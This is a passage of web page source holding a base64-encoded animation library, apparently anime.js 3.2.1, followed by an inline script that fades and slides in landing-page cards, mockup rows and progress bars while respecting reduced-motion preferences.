0XSx3LnVuZChyKT8oYT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KG4udGFnTmFtZSksKG49bi5wYXJlbnROb2RlJiZuLnBhcmVudE5vZGUhPT1kb2N1bWVudD9uLnBhcmVudE5vZGU6ZG9jdW1lbnQuYm9keSkuYXBwZW5kQ2hpbGQoYSksYS5zdHlsZS5wb3NpdGlvbj0iYWJzb2x1dGUiLGEuc3R5bGUud2lkdGg9MTAwK3Qsbz0xMDAvYS5vZmZzZXRXaWR0aCxuLnJlbW92ZUNoaWxkKGEpLG49bypwYXJzZUZsb2F0KGUpLGwuQ1NTW2UrdF09bik6cil9ZnVuY3Rpb24gJChuLGUsdCl7dmFyIHI7aWYoZSBpbiBuLnN0eWxlKXJldHVybiByPWUucmVwbGFjZSgvKFthLXpdKShbQS1aXSkvZywiJDEtJDIiKS50b0xvd2VyQ2FzZSgpLGU9bi5zdHlsZVtlXXx8Z2V0Q29tcHV0ZWRTdHlsZShuKS5nZXRQcm9wZXJ0eVZhbHVlKHIpfHwiMCIsdD95KG4sZSx0KTplfWZ1bmN0aW9uIGIobixlKXtyZXR1cm4gdy5kb20obikmJiF3LmlucChuKSYmKCF3Lm5pbCh2KG4sZSkpfHx3LnN2ZyhuKSYmbltlXSk\/ImF0dHJpYnV0ZSI6dy5kb20obikmJmgoaixlKT8idHJhbnNmb3JtIjp3LmRvbShuKSYmInRyYW5zZm9ybSIhPT1lJiYkKG4sZSk\/ImNzcyI6bnVsbCE9bltlXT8ib2JqZWN0Ijp2b2lkIDB9ZnVuY3Rpb24gVyhuKXtpZih3LmRvbShuKSl7Zm9yKHZhciBlLHQ9bi5zdHlsZS50cmFuc2Zvcm18fCIiLHI9LyhcdyspXCgoW14pXSopXCkvZyxhPW5ldyBNYXA7ZT1yLmV4ZWModCk7KWEuc2V0KGVbMV0sZVsyXSk7cmV0dXJuIGF9fWZ1bmN0aW9uIFgobixlLHQscil7dmFyIGE9dShlLCJzY2FsZSIpPzE6MCsodShhPWUsInRyYW5zbGF0ZSIpfHwicGVyc3BlY3RpdmUiPT09YT8icHgiOnUoYSwicm90YXRlIil8fHUoYSwic2tldyIpPyJkZWciOnZvaWQgMCksbz1XKG4pLmdldChlKXx8YTtyZXR1cm4gdCYmKHQudHJhbnNmb3Jtcy5saXN0LnNldChlLG8pLHQudHJhbnNmb3Jtcy5sYXN0PWUpLHI\/eShuLG8scik6b31mdW5jdGlvbiBUKG4sZSx0LHIpe3N3aXRjaChiKG4sZSkpe2Nhc2UidHJhbnNmb3JtIjpyZXR1cm4gWChuLGUscix0KTtjYXNlImNzcyI6cmV0dXJuICQobixlLHQpO2Nhc2UiYXR0cmlidXRlIjpyZXR1cm4gdihuLGUpO2RlZmF1bHQ6cmV0dXJuIG5bZV18fDB9fWZ1bmN0aW9uIEUobixlKXt2YXIgdD0vXihcKj18XCs9fC09KS8uZXhlYyhuKTtpZighdClyZXR1cm4gbjt2YXIgcj1CKG4pfHwwLGE9cGFyc2VGbG9hdChlKSxvPXBhcnNlRmxvYXQobi5yZXBsYWNlKHRbMF0sIiIpKTtzd2l0Y2godFswXVswXSl7Y2FzZSIrIjpyZXR1cm4gYStvK3I7Y2FzZSItIjpyZXR1cm4gYS1vK3I7Y2FzZSIqIjpyZXR1cm4gYSpvK3J9fWZ1bmN0aW9uIFkobixlKXt2YXIgdDtyZXR1cm4gdy5jb2wobik\/VihuKTovXHMvZy50ZXN0KG4pP246KHQ9KHQ9QihuKSk\/bi5zdWJzdHIoMCxuLmxlbmd0aC10Lmxlbmd0aCk6bixlP3QrZTp0KX1mdW5jdGlvbiBGKG4sZSl7cmV0dXJuIE1hdGguc3FydChNYXRoLnBvdyhlLngtbi54LDIpK01hdGgucG93KGUueS1uLnksMikpfWZ1bmN0aW9uIFoobil7Zm9yKHZhciBlLHQ9bi5wb2ludHMscj0wLGE9MDthPHQubnVtYmVyT2ZJdGVtczthKyspe3ZhciBvPXQuZ2V0SXRlbShhKTswPGEmJihyKz1GKGUsbykpLGU9b31yZXR1cm4gcn1mdW5jdGlvbiBHKG4pe2lmKG4uZ2V0VG90YWxMZW5ndGgpcmV0dXJuIG4uZ2V0VG90YWxMZW5ndGgoKTtzd2l0Y2gobi50YWdOYW1lLnRvTG93ZXJDYXNlKCkpe2Nhc2UiY2lyY2xlIjpyZXR1cm4gMipNYXRoLlBJKnYobiwiciIpO2Nhc2UicmVjdCI6cmV0dXJuIDIqdih0PW4sIndpZHRoIikrMip2KHQsImhlaWdodCIpO2Nhc2UibGluZSI6cmV0dXJuIEYoe3g6dih0PW4sIngxIikseTp2KHQsInkxIil9LHt4OnYodCwieDIiKSx5OnYodCwieTIiKX0pO2Nhc2UicG9seWxpbmUiOnJldHVybiBaKG4pO2Nhc2UicG9seWdvbiI6cmV0dXJuIGU9bi5wb2ludHMsWihuKStGKGUuZ2V0SXRlbShlLm51bWJlck9mSXRlbXMtMSksZS5nZXRJdGVtKDApKX12YXIgZSx0fWZ1bmN0aW9uIFEobixlKXt2YXIgZT1lfHx7fSxuPWUuZWx8fGZ1bmN0aW9uKG4pe2Zvcih2YXIgZT1uLnBhcmVudE5vZGU7dy5zdmcoZSkmJncuc3ZnKGUucGFyZW50Tm9kZSk7KWU9ZS5wYXJlbnROb2RlO3JldHVybiBlfShuKSx0PW4uZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkscj12KG4sInZpZXdCb3giKSxhPXQud2lkdGgsdD10LmhlaWdodCxlPWUudmlld0JveHx8KHI\/ci5zcGxpdCgiICIpOlswLDAsYSx0XSk7cmV0dXJue2VsOm4sdmlld0JveDplLHg6K2VbMF0seTorZVsxXSx3OmEsaDp0LHZXOmVbMl0sdkg6ZVszXX19ZnVuY3Rpb24geihuLGUpe3ZhciB0PS9bKy1dP1xkKlwuP1xkKyg\/OlwuXGQrKT8oPzpbZUVdWystXT9cZCspPy9nLHI9WSh3LnB0aChuKT9uLnRvdGFsTGVuZ3RoOm4sZSkrIiI7cmV0dXJue29yaWdpbmFsOnIsbnVtYmVyczpyLm1hdGNoKHQpP3IubWF0Y2godCkubWFwKE51bWJlcik6WzBdLHN0cmluZ3M6dy5zdHIobil8fGU\/ci5zcGxpdCh0KTpbXX19ZnVuY3Rpb24gQShuKXtyZXR1cm4gSShuP2Yody5hcnIobik\/bi5tYXAocCk6cChuKSk6W10sZnVuY3Rpb24obixlLHQpe3JldHVybiB0LmluZGV4T2Yobik9PT1lfSl9ZnVuY3Rpb24gXyhuKXt2YXIgdD1BKG4pO3JldHVybiB0Lm1hcChmdW5jdGlvbihuLGUpe3JldHVybnt0YXJnZXQ6bixpZDplLHRvdGFsOnQubGVuZ3RoLHRyYW5zZm9ybXM6e2xpc3Q6VyhuKX19fSl9ZnVuY3Rpb24gUihlKXtmb3IodmFyIHQ9SShmKGUubWFwKGZ1bmN0aW9uKG4pe3JldHVybiBPYmplY3Qua2V5cyhuKX0pKSxmdW5jdGlvbihuKXtyZXR1cm4gdy5rZXkobil9KS5yZWR1Y2UoZnVuY3Rpb24obixlKXtyZXR1cm4gbi5pbmRleE9mKGUpPDAmJm4ucHVzaChlKSxufSxbXSksYT17fSxuPTA7bjx0Lmxlbmd0aDtuKyspIWZ1bmN0aW9uKG4pe3ZhciByPXRbbl07YVtyXT1lLm1hcChmdW5jdGlvbihuKXt2YXIgZSx0PXt9O2ZvcihlIGluIG4pdy5rZXkoZSk\/ZT09ciYmKHQudmFsdWU9bltlXSk6dFtlXT1uW2VdO3JldHVybiB0fSl9KG4pO3JldHVybiBhfWZ1bmN0aW9uIEoobixlKXt2YXIgdCxyPVtdLGE9ZS5rZXlmcmFtZXM7Zm9yKHQgaW4gZT1hP0QoUihhKSxlKTplKXcua2V5KHQpJiZyLnB1c2goe25hbWU6dCx0d2VlbnM6ZnVuY3Rpb24obix0KXt2YXIgZSxyPWcodCksYT0oL15zcHJpbmcvLnRlc3Qoci5lYXNpbmcpJiYoci5kdXJhdGlvbj1jKHIuZWFzaW5nKSksdy5hcnIobikmJigyPT09KGU9bi5sZW5ndGgpJiYhdy5vYmooblswXSk\/bj17dmFsdWU6bn06dy5mbmModC5kdXJhdGlvbil8fChyLmR1cmF0aW9uPXQuZHVyYXRpb24vZSkpLHcuYXJyKG4pP246W25dKTtyZXR1cm4gYS5tYXAoZnVuY3Rpb24obixlKXtuPXcub2JqKG4pJiYhdy5wdGgobik\/bjp7dmFsdWU6bn07cmV0dXJuIHcudW5kKG4uZGVsYXkpJiYobi5kZWxheT1lPzA6dC5kZWxheSksdy51bmQobi5lbmREZWxheSkmJihuLmVuZERlbGF5PWU9PT1hLmxlbmd0aC0xP3QuZW5kRGVsYXk6MCksbn0pLm1hcChmdW5jdGlvbihuKXtyZXR1cm4gRChuLHIpfSl9KGVbdF0sbil9KTtyZXR1cm4gcn1mdW5jdGlvbiBLKGksYyl7dmFyIHM7cmV0dXJuIGkudHdlZW5zLm1hcChmdW5jdGlvbihuKXt2YXIgbj1mdW5jdGlvbihuLGUpe3ZhciB0LHI9e307Zm9yKHQgaW4gbil7dmFyIGE9bShuW3RdLGUpO3cuYXJyKGEpJiYxPT09KGE9YS5tYXAoZnVuY3Rpb24obil7cmV0dXJuIG0obixlKX0pKS5sZW5ndGgmJihhPWFbMF0pLHJbdF09YX1yZXR1cm4gci5kdXJhdGlvbj1wYXJzZUZsb2F0KHIuZHVyYXRpb24pLHIuZGVsYXk9cGFyc2VGbG9hdChyLmRlbGF5KSxyfShuLGMpLGU9bi52YWx1ZSx0PXcuYXJyKGUpP2VbMV06ZSxyPUIodCksYT1UKGMudGFyZ2V0LGkubmFtZSxyLGMpLG89cz9zLnRvLm9yaWdpbmFsOmEsdT13LmFycihlKT9lWzBdOm8sYT1CKHUpfHxCKGEpLHI9cnx8YTtyZXR1cm4gdy51bmQodCkmJih0PW8pLG4uZnJvbT16KHUsciksbi50bz16KEUodCx1KSxyKSxuLnN0YXJ0PXM\/cy5lbmQ6MCxuLmVuZD1uLnN0YXJ0K24uZGVsYXkrbi5kdXJhdGlvbituLmVuZERlbGF5LG4uZWFzaW5nPVAobi5lYXNpbmcsbi5kdXJhdGlvbiksbi5pc1BhdGg9dy5wdGgoZSksbi5pc1BhdGhUYXJnZXRJbnNpZGVTVkc9bi5pc1BhdGgmJncuc3ZnKGMudGFyZ2V0KSxuLmlzQ29sb3I9dy5jb2wobi5mcm9tLm9yaWdpbmFsKSxuLmlzQ29sb3ImJihuLnJvdW5kPTEpLHM9bn0pfXZhciBVPXtjc3M6ZnVuY3Rpb24obixlLHQpe3JldHVybiBuLnN0eWxlW2VdPXR9LGF0dHJpYnV0ZTpmdW5jdGlvbihuLGUsdCl7cmV0dXJuIG4uc2V0QXR0cmlidXRlKGUsdCl9LG9iamVjdDpmdW5jdGlvbihuLGUsdCl7cmV0dXJuIG5bZV09dH0sdHJhbnNmb3JtOmZ1bmN0aW9uKG4sZSx0LHIsYSl7dmFyIG87ci5saXN0LnNldChlLHQpLGUhPT1yLmxhc3QmJiFhfHwobz0iIixyLmxpc3QuZm9yRWFjaChmdW5jdGlvbihuLGUpe28rPWUrIigiK24rIikgIn0pLG4uc3R5bGUudHJhbnNmb3JtPW8pfX07ZnVuY3Rpb24gbm4obix1KXtfKG4pLmZvckVhY2goZnVuY3Rpb24obil7Zm9yKHZhciBlIGluIHUpe3ZhciB0PW0odVtlXSxuKSxyPW4udGFyZ2V0LGE9Qih0KSxvPVQocixlLGEsbiksdD1FKFkodCxhfHxCKG8pKSxvKSxhPWIocixlKTtVW2FdKHIsZSx0LG4udHJhbnNmb3JtcywhMCl9fSl9ZnVuY3Rpb24gZW4obixlKXtyZXR1cm4gSShmKG4ubWFwKGZ1bmN0aW9uKG8pe3JldHVybiBlLm1hcChmdW5jdGlvbihuKXt2YXIgZSx0LHI9byxhPWIoci50YXJnZXQsbi5uYW1lKTtpZihhKXJldHVybiB0PShlPUsobixyKSlbZS5sZW5ndGgtMV0se3R5cGU6YSxwcm9wZXJ0eTpuLm5hbWUsYW5pbWF0YWJsZTpyLHR3ZWVuczplLGR1cmF0aW9uOnQuZW5kLGRlbGF5OmVbMF0uZGVsYXksZW5kRGVsYXk6dC5lbmREZWxheX19KX0pKSxmdW5jdGlvbihuKXtyZXR1cm4hdy51bmQobil9KX1mdW5jdGlvbiB0bihuLGUpe2Z1bmN0aW9uIHQobil7cmV0dXJuIG4udGltZWxpbmVPZmZzZXR8fDB9dmFyIHI9bi5sZW5ndGgsYT17fTtyZXR1cm4gYS5kdXJhdGlvbj1yP01hdGgubWF4LmFwcGx5KE1hdGgsbi5tYXAoZnVuY3Rpb24obil7cmV0dXJuIHQobikrbi5kdXJhdGlvbn0pKTplLmR1cmF0aW9uLGEuZGVsYXk9cj9NYXRoLm1pbi5hcHBseShNYXRoLG4ubWFwKGZ1bmN0aW9uKG4pe3JldHVybiB0KG4pK24uZGVsYXl9KSk6ZS5kZWxheSxhLmVuZERlbGF5PXI\/YS5kdXJhdGlvbi1NYXRoLm1heC5hcHBseShNYXRoLG4ubWFwKGZ1bmN0aW9uKG4pe3JldHVybiB0KG4pK24uZHVyYXRpb24tbi5lbmREZWxheX0pKTplLmVuZERlbGF5LGF9dmFyIHJuPTA7dmFyIE4sUz1bXSxhbj0oInVuZGVmaW5lZCIhPXR5cGVvZiBkb2N1bWVudCYmZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigidmlzaWJpbGl0eWNoYW5nZSIsZnVuY3Rpb24oKXtMLnN1c3BlbmRXaGVuRG9jdW1lbnRIaWRkZW4mJihuKCk\/Tj1jYW5jZWxBbmltYXRpb25GcmFtZShOKTooUy5mb3JFYWNoKGZ1bmN0aW9uKG4pe3JldHVybiBuLl9vbkRvY3VtZW50VmlzaWJpbGl0eSgpfSksYW4oKSkpfSksZnVuY3Rpb24oKXshKE58fG4oKSYmTC5zdXNwZW5kV2hlbkRvY3VtZW50SGlkZGVuKSYmMDxTLmxlbmd0aCYmKE49cmVxdWVzdEFuaW1hdGlvbkZyYW1lKG9uKSl9KTtmdW5jdGlvbiBvbihuKXtmb3IodmFyIGU9Uy5sZW5ndGgsdD0wO3Q8ZTspe3ZhciByPVNbdF07ci5wYXVzZWQ\/KFMuc3BsaWNlKHQsMSksZS0tKTooci50aWNrKG4pLHQrKyl9Tj0wPHQ\/cmVxdWVzdEFuaW1hdGlvbkZyYW1lKG9uKTp2b2lkIDB9ZnVuY3Rpb24gbigpe3JldHVybiBkb2N1bWVudCYmZG9jdW1lbnQuaGlkZGVufWZ1bmN0aW9uIEwobil7dmFyIGMscz0wLGY9MCxsPTAsZD0wLHA9bnVsbDtmdW5jdGlvbiBoKG4pe3ZhciBlPXdpbmRvdy5Qcm9taXNlJiZuZXcgUHJvbWlzZShmdW5jdGlvbihuKXtyZXR1cm4gcD1ufSk7cmV0dXJuIG4uZmluaXNoZWQ9ZX1lPXgoaSxuPW49dm9pZCAwPT09bj97fTpuKSx0PUoocj14KE0sbiksbiksbj1fKG4udGFyZ2V0cykscj10bih0PWVuKG4sdCksciksYT1ybixybisrO3ZhciBlLHQscixhLGs9RChlLHtpZDphLGNoaWxkcmVuOltdLGFuaW1hdGFibGVzOm4sYW5pbWF0aW9uczp0LGR1cmF0aW9uOnIuZHVyYXRpb24sZGVsYXk6ci5kZWxheSxlbmREZWxheTpyLmVuZERlbGF5fSk7aChrKTtmdW5jdGlvbiBnKCl7dmFyIG49ay5kaXJlY3Rpb247ImFsdGVybmF0ZSIhPT1uJiYoay5kaXJlY3Rpb249Im5vcm1hbCIhPT1uPyJub3JtYWwiOiJyZXZlcnNlIiksay5yZXZlcnNlZD0hay5yZXZlcnNlZCxjLmZvckVhY2goZnVuY3Rpb24obil7cmV0dXJuIG4ucmV2ZXJzZWQ9ay5yZXZlcnNlZH0pfWZ1bmN0aW9uIG0obil7cmV0dXJuIGsucmV2ZXJzZWQ\/ay5kdXJhdGlvbi1uOm59ZnVuY3Rpb24gbygpe3M9MCxmPW0oay5jdXJyZW50VGltZSkqKDEvTC5zcGVlZCl9ZnVuY3Rpb24gdihuLGUpe2UmJmUuc2VlayhuLWUudGltZWxpbmVPZmZzZXQpfWZ1bmN0aW9uIHkoZSl7Zm9yKHZhciBuPTAsdD1rLmFuaW1hdGlvbnMscj10Lmxlbmd0aDtuPHI7KXtmb3IodmFyIGE9dFtuXSxvPWEuYW5pbWF0YWJsZSx1PWEudHdlZW5zLGk9dS5sZW5ndGgtMSxjPXVbaV0saT0oaSYmKGM9SSh1LGZ1bmN0aW9uKG4pe3JldHVybiBlPG4uZW5kfSlbMF18fGMpLEMoZS1jLnN0YXJ0LWMuZGVsYXksMCxjLmR1cmF0aW9uKS9jLmR1cmF0aW9uKSxzPWlzTmFOKGkpPzE6Yy5lYXNpbmcoaSksZj1jLnRvLnN0cmluZ3MsbD1jLnJvdW5kLGQ9W10scD1jLnRvLm51bWJlcnMubGVuZ3RoLGg9dm9pZCAwLGc9MDtnPHA7ZysrKXt2YXIgbT12b2lkIDAsdj1jLnRvLm51bWJlcnNbZ10seT1jLmZyb20ubnVtYmVyc1tnXXx8MCxtPWMuaXNQYXRoP2Z1bmN0aW9uKGUsdCxuKXtmdW5jdGlvbiByKG4pe3JldHVybiBlLmVsLmdldFBvaW50QXRMZW5ndGgoMTw9dCsobj12b2lkIDA9PT1uPzA6bik\/dCtuOjApfXZhciBhPVEoZS5lbCxlLnN2Zyksbz1yKCksdT1yKC0xKSxpPXIoMSksYz1uPzE6YS53L2Eudlcscz1uPzE6YS5oL2Eudkg7c3dpdGNoKGUucHJvcGVydHkpe2Nhc2UieCI6cmV0dXJuKG8ueC1hLngpKmM7Y2FzZSJ5IjpyZXR1cm4oby55LWEueSkqcztjYXNlImFuZ2xlIjpyZXR1cm4gMTgwKk1hdGguYXRhbjIoaS55LXUueSxpLngtdS54KS9NYXRoLlBJfX0oYy52YWx1ZSxzKnYsYy5pc1BhdGhUYXJnZXRJbnNpZGVTVkcpOnkrcyoodi15KTshbHx8Yy5pc0NvbG9yJiYyPGd8fChtPU1hdGgucm91bmQobSpsKS9sKSxkLnB1c2gobSl9dmFyIGI9Zi5sZW5ndGg7aWYoYilmb3IodmFyIGg9ZlswXSxNPTA7TTxiO00rKyl7ZltNXTt2YXIgeD1mW00rMV0sdz1kW01dO2lzTmFOKHcpfHwoaCs9eD93K3g6dysiICIpfWVsc2UgaD1kWzBdO1VbYS50eXBlXShvLnRhcmdldCxhLnByb3BlcnR5LGgsby50cmFuc2Zvcm1zKSxhLmN1cnJlbnRWYWx1ZT1oLG4rK319ZnVuY3Rpb24gYihuKXtrW25dJiYhay5wYXNzVGhyb3VnaCYma1tuXShrKX1mdW5jdGlvbiB1KG4pe3ZhciBlPWsuZHVyYXRpb24sdD1rLmRlbGF5LHI9ZS1rLmVuZERlbGF5LGE9bShuKTtpZihrLnByb2dyZXNzPUMoYS9lKjEwMCwwLDEwMCksay5yZXZlcnNlUGxheWJhY2s9YTxrLmN1cnJlbnRUaW1lLGMpe3ZhciBvPWE7aWYoay5yZXZlcnNlUGxheWJhY2spZm9yKHZhciB1PWQ7dS0tOyl2KG8sY1t1XSk7ZWxzZSBmb3IodmFyIGk9MDtpPGQ7aSsrKXYobyxjW2ldKX0hay5iZWdhbiYmMDxrLmN1cnJlbnRUaW1lJiYoay5iZWdhbj0hMCxiKCJiZWdpbiIpKSwhay5sb29wQmVnYW4mJjA8ay5jdXJyZW50VGltZSYmKGsubG9vcEJlZ2FuPSEwLGIoImxvb3BCZWdpbiIpKSxhPD10JiYwIT09ay5jdXJyZW50VGltZSYmeSgwKSwocjw9YSYmay5jdXJyZW50VGltZSE9PWV8fCFlKSYmeShlKSx0PGEmJmE8cj8oay5jaGFuZ2VCZWdhbnx8KGsuY2hhbmdlQmVnYW49ITAsay5jaGFuZ2VDb21wbGV0ZWQ9ITEsYigiY2hhbmdlQmVnaW4iKSksYigiY2hhbmdlIikseShhKSk6ay5jaGFuZ2VCZWdhbiYmKGsuY2hhbmdlQ29tcGxldGVkPSEwLGsuY2hhbmdlQmVnYW49ITEsYigiY2hhbmdlQ29tcGxldGUiKSksay5jdXJyZW50VGltZT1DKGEsMCxlKSxrLmJlZ2FuJiZiKCJ1cGRhdGUiKSxlPD1uJiYoZj0wLGsucmVtYWluaW5nJiYhMCE9PWsucmVtYWluaW5nJiZrLnJlbWFpbmluZy0tLGsucmVtYWluaW5nPyhzPWwsYigibG9vcENvbXBsZXRlIiksay5sb29wQmVnYW49ITEsImFsdGVybmF0ZSI9PT1rLmRpcmVjdGlvbiYmZygpKTooay5wYXVzZWQ9ITAsay5jb21wbGV0ZWR8fChrLmNvbXBsZXRlZD0hMCxiKCJsb29wQ29tcGxldGUiKSxiKCJjb21wbGV0ZSIpLCFrLnBhc3NUaHJvdWdoJiYiUHJvbWlzZSJpbiB3aW5kb3cmJihwKCksaChrKSkpKSl9cmV0dXJuIGsucmVzZXQ9ZnVuY3Rpb24oKXt2YXIgbj1rLmRpcmVjdGlvbjtrLnBhc3NUaHJvdWdoPSExLGsuY3VycmVudFRpbWU9MCxrLnByb2dyZXNzPTAsay5wYXVzZWQ9ITAsay5iZWdhbj0hMSxrLmxvb3BCZWdhbj0hMSxrLmNoYW5nZUJlZ2FuPSExLGsuY29tcGxldGVkPSExLGsuY2hhbmdlQ29tcGxldGVkPSExLGsucmV2ZXJzZVBsYXliYWNrPSExLGsucmV2ZXJzZWQ9InJldmVyc2UiPT09bixrLnJlbWFpbmluZz1rLmxvb3AsYz1rLmNoaWxkcmVuO2Zvcih2YXIgZT1kPWMubGVuZ3RoO2UtLTspay5jaGlsZHJlbltlXS5yZXNldCgpOyhrLnJldmVyc2VkJiYhMCE9PWsubG9vcHx8ImFsdGVybmF0ZSI9PT1uJiYxPT09ay5sb29wKSYmay5yZW1haW5pbmcrKyx5KGsucmV2ZXJzZWQ\/ay5kdXJhdGlvbjowKX0say5fb25Eb2N1bWVudFZpc2liaWxpdHk9byxrLnNldD1mdW5jdGlvbihuLGUpe3JldHVybiBubihuLGUpLGt9LGsudGljaz1mdW5jdGlvbihuKXt1KCgobD1uKSsoZi0ocz1zfHxsKSkpKkwuc3BlZWQpfSxrLnNlZWs9ZnVuY3Rpb24obil7dShtKG4pKX0say5wYXVzZT1mdW5jdGlvbigpe2sucGF1c2VkPSEwLG8oKX0say5wbGF5PWZ1bmN0aW9uKCl7ay5wYXVzZWQmJihrLmNvbXBsZXRlZCYmay5yZXNldCgpLGsucGF1c2VkPSExLFMucHVzaChrKSxvKCksYW4oKSl9LGsucmV2ZXJzZT1mdW5jdGlvbigpe2coKSxrLmNvbXBsZXRlZD0hay5yZXZlcnNlZCxvKCl9LGsucmVzdGFydD1mdW5jdGlvbigpe2sucmVzZXQoKSxrLnBsYXkoKX0say5yZW1vdmU9ZnVuY3Rpb24obil7Y24oQShuKSxrKX0say5yZXNldCgpLGsuYXV0b3BsYXkmJmsucGxheSgpLGt9ZnVuY3Rpb24gdW4obixlKXtmb3IodmFyIHQ9ZS5sZW5ndGg7dC0tOyloKG4sZVt0XS5hbmltYXRhYmxlLnRhcmdldCkmJmUuc3BsaWNlKHQsMSl9ZnVuY3Rpb24gY24obixlKXt2YXIgdD1lLmFuaW1hdGlvbnMscj1lLmNoaWxkcmVuO3VuKG4sdCk7Zm9yKHZhciBhPXIubGVuZ3RoO2EtLTspe3ZhciBvPXJbYV0sdT1vLmFuaW1hdGlvbnM7dW4obix1KSx1Lmxlbmd0aHx8by5jaGlsZHJlbi5sZW5ndGh8fHIuc3BsaWNlKGEsMSl9dC5sZW5ndGh8fHIubGVuZ3RofHxlLnBhdXNlKCl9cmV0dXJuIEwudmVyc2lvbj0iMy4yLjEiLEwuc3BlZWQ9MSxMLnN1c3BlbmRXaGVuRG9jdW1lbnRIaWRkZW49ITAsTC5ydW5uaW5nPVMsTC5yZW1vdmU9ZnVuY3Rpb24obil7Zm9yKHZhciBlPUEobiksdD1TLmxlbmd0aDt0LS07KWNuKGUsU1t0XSl9LEwuZ2V0PVQsTC5zZXQ9bm4sTC5jb252ZXJ0UHg9eSxMLnBhdGg9ZnVuY3Rpb24obixlKXt2YXIgdD13LnN0cihuKT9hKG4pWzBdOm4scj1lfHwxMDA7cmV0dXJuIGZ1bmN0aW9uKG4pe3JldHVybntwcm9wZXJ0eTpuLGVsOnQsc3ZnOlEodCksdG90YWxMZW5ndGg6Ryh0KSooci8xMDApfX19LEwuc2V0RGFzaG9mZnNldD1mdW5jdGlvbihuKXt2YXIgZT1HKG4pO3JldHVybiBuLnNldEF0dHJpYnV0ZSgic3Ryb2tlLWRhc2hhcnJheSIsZSksZX0sTC5zdGFnZ2VyPWZ1bmN0aW9uKG4sZSl7dmFyIGk9KGU9dm9pZCAwPT09ZT97fTplKS5kaXJlY3Rpb258fCJub3JtYWwiLGM9ZS5lYXNpbmc\/UChlLmVhc2luZyk6bnVsbCxzPWUuZ3JpZCxmPWUuYXhpcyxsPWUuZnJvbXx8MCxkPSJmaXJzdCI9PT1sLHA9ImNlbnRlciI9PT1sLGg9Imxhc3QiPT09bCxnPXcuYXJyKG4pLG09Zz9wYXJzZUZsb2F0KG5bMF0pOnBhcnNlRmxvYXQobiksdj1nP3BhcnNlRmxvYXQoblsxXSk6MCx5PUIoZz9uWzFdOm4pfHwwLGI9ZS5zdGFydHx8MCsoZz9tOjApLE09W10seD0wO3JldHVybiBmdW5jdGlvbihuLGUsdCl7aWYoZCYmKGw9MCkscCYmKGw9KHQtMSkvMiksaCYmKGw9dC0xKSwhTS5sZW5ndGgpe2Zvcih2YXIgcixhLG8sdT0wO3U8dDt1Kyspcz8ocj1wPyhzWzBdLTEpLzI6bCVzWzBdLGE9cD8oc1sxXS0xKS8yOk1hdGguZmxvb3IobC9zWzBdKSxyPXItdSVzWzBdLGE9YS1NYXRoLmZsb29yKHUvc1swXSksbz1NYXRoLnNxcnQocipyK2EqYSksIngiPT09ZiYmKG89LXIpLE0ucHVzaChvPSJ5Ij09PWY\/LWE6bykpOk0ucHVzaChNYXRoLmFicyhsLXUpKSx4PU1hdGgubWF4LmFwcGx5KE1hdGgsTSk7YyYmKE09TS5tYXAoZnVuY3Rpb24obil7cmV0dXJuIGMobi94KSp4fSkpLCJyZXZlcnNlIj09PWkmJihNPU0ubWFwKGZ1bmN0aW9uKG4pe3JldHVybiBmP248MD8tMSpuOi1uOk1hdGguYWJzKHgtbil9KSl9cmV0dXJuIGIrKGc\/KHYtbSkveDptKSooTWF0aC5yb3VuZCgxMDAqTVtlXSkvMTAwKSt5fX0sTC50aW1lbGluZT1mdW5jdGlvbih1KXt2YXIgaT1MKHU9dm9pZCAwPT09dT97fTp1KTtyZXR1cm4gaS5kdXJhdGlvbj0wLGkuYWRkPWZ1bmN0aW9uKG4sZSl7dmFyIHQ9Uy5pbmRleE9mKGkpLHI9aS5jaGlsZHJlbjtmdW5jdGlvbiBhKG4pe24ucGFzc1Rocm91Z2g9ITB9LTE8dCYmUy5zcGxpY2UodCwxKTtmb3IodmFyIG89MDtvPHIubGVuZ3RoO28rKylhKHJbb10pO3Q9RChuLHgoTSx1KSksdC50YXJnZXRzPXQudGFyZ2V0c3x8dS50YXJnZXRzLG49aS5kdXJhdGlvbix0LmF1dG9wbGF5PSExLHQuZGlyZWN0aW9uPWkuZGlyZWN0aW9uLHQudGltZWxpbmVPZmZzZXQ9dy51bmQoZSk\/bjpFKGUsbiksYShpKSxpLnNlZWsodC50aW1lbGluZU9mZnNldCksZT1MKHQpLGEoZSksci5wdXNoKGUpLG49dG4ocix1KTtyZXR1cm4gaS5kZWxheT1uLmRlbGF5LGkuZW5kRGVsYXk9bi5lbmREZWxheSxpLmR1cmF0aW9uPW4uZHVyYXRpb24saS5zZWVrKDApLGkucmVzZXQoKSxpLmF1dG9wbGF5JiZpLnBsYXkoKSxpfSxpfSxMLmVhc2luZz1QLEwucGVubmVyPXMsTC5yYW5kb209ZnVuY3Rpb24obixlKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihlLW4rMSkpK259LEx9KTs=\"))<\/script>\n<script>\n(function(){\n  function ready(fn){ if(document.readyState===\"loading\"){ document.addEventListener(\"DOMContentLoaded\",fn); } else { fn(); } }\n  ready(function(){\n    var mq = window.matchMedia ? window.matchMedia(\"(prefers-reduced-motion: reduce)\") : null;\n    var reduce = mq ? mq.matches : false;\n    var hasAnime = (typeof anime !== \"undefined\");\n    var reveal = [].slice.call(document.querySelectorAll(\".sm-card, .sm-section-header\"));\n    function showAll(){ reveal.forEach(function(el){ el.style.opacity=\"1\"; el.style.transform=\"none\"; }); }\n    if(reduce){ showAll(); return; }\n    if(!hasAnime){ showAll(); return; }\n    reveal.forEach(function(el){ el.style.opacity=\"0\"; el.style.transform=\"translateY(26px)\"; });\n    var card = document.querySelector(\".smh-hero__mockup-card\");\n    var rows = [].slice.call(document.querySelectorAll(\".smh-hero__mockup-row\"));\n    var bars = [].slice.call(document.querySelectorAll(\".smh-hero__mockup-bar\"));\n    if(card){ card.style.opacity=\"0\"; card.style.transform=\"translateY(18px) scale(.97)\"; }\n    rows.forEach(function(r){ r.style.opacity=\"0\"; r.style.transform=\"translateY(12px)\"; });\n    bars.forEach(function(b){ b.style.transformOrigin=\"left center\"; b.style.transform=\"scaleX(0)\"; });\n    var tl = anime.timeline({ easing:\"cubicBezier(.2,.7,.2,1)\", delay:200 });\n    if(card){ tl.add({ targets:card, opacity:[0,1], translateY:[18,0], scale:[.97,1], duration:560 }); }\n    tl.add({ targets:rows, opacity:[0,1], translateY:[12,0], delay:anime.stagger(150), duration:440 }, \"-=260\");\n    tl.add({ targets:bars, scaleX:[0,1], delay:anime.stagger(170), duration:640, 